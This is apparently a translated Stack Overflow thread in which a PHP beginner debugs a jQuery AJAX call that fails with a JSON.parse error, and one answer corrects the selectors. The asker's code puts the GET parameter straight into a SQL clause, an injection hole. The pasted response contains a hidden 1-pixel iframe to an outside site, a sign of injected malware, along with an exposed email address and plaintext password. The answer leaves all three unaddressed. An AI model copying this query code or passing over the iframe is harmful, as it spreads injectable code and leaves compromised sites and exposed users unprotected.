0

嗨,我是 php 和 ajax 的新手,我有一个选择框,当用户选择信息时,必须填写四个文本框。有人建议我的第一个代码使用 jQuery

反正我的php代码是

if(isset($_GET['username']))
{
    $username=$_GET['username'];
    $usr1=new USER;
    $where="username='$username'";
    $a=$usr1->show($where);
    echo json_encode($a);
}

我的表格在这里

 <form id="f1">
    <select id="s1">
    <option selected></option>
    <option value="admin" >admin</option>
    <option value="pooria.hojjati">pooria.hojjati</option>
    </select><br>
    <input type="text" id="name" value=""><br>
    <input type="text" id="family" value=""><br>
    <input type="text" id="email" value=""><br>
    <input type="text" id="pri" value=""><br>
    <!--<input type="button" value="press me" id="btn">-->
    </form>

    <div id="d">
    un replaced
    </div>

    <script language="javascript">

$("#f1 select:#s1").change(function(){
    var a=$("#f1 select:#s1").val();
    $.ajax({
            url:'ajax.php',
            data:{username:a},
            type:'get',
            datatype:'json',
            success:function(res){
            var b=JSON.parse(res);
            $("#f1 input:#name").val(b.name);
            $("#f1 input:#family").val(b.family);
            $("#f1 input:#email").val(b.email);
            $("#f1 input:#pri").val(b.privilege);}
            })


    });
</script>

我有一个错误:SyntaxError:JSON.parse:意外字符

当我提醒回复时,我得到了这个:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<title>Untitled Document</title>

</head>



<body>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<title>user</title>

</head>



<body>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<title>DB</title>

</head>



<body>

<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>

</body>

</html>

<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>

</body>

</html>

{"id":"1","name":"\u067e\u0648\u0631\u06cc\u0627","family":"\u062d\u062c\u062a\u06cc \u0628\u0633\u0637\u0627\u0645\u06cc","username":"pooria.hojjati","password":"12044525","email":"pooria.hojjati@gmail.com","privilege":"1"}</body>

</html>
4

1 回答 1

0

在 jQuery 中,选择器$("#f1 select:#s1")的语法不正确。这个选择器应该是$("#f1 select#s1"). 其他选择器也是如此。:foo选择器是 jQuery 特殊选择器,例如:checked,:contains()等。

您是否在创建 html 布局的 php 代码中使用了框架?尝试绕过它。打电话后echo json_encode(...),打电话exit;。这将立即停止执行并输出到目前为止的缓冲区。

于 2013-07-20T15:17:55.857 回答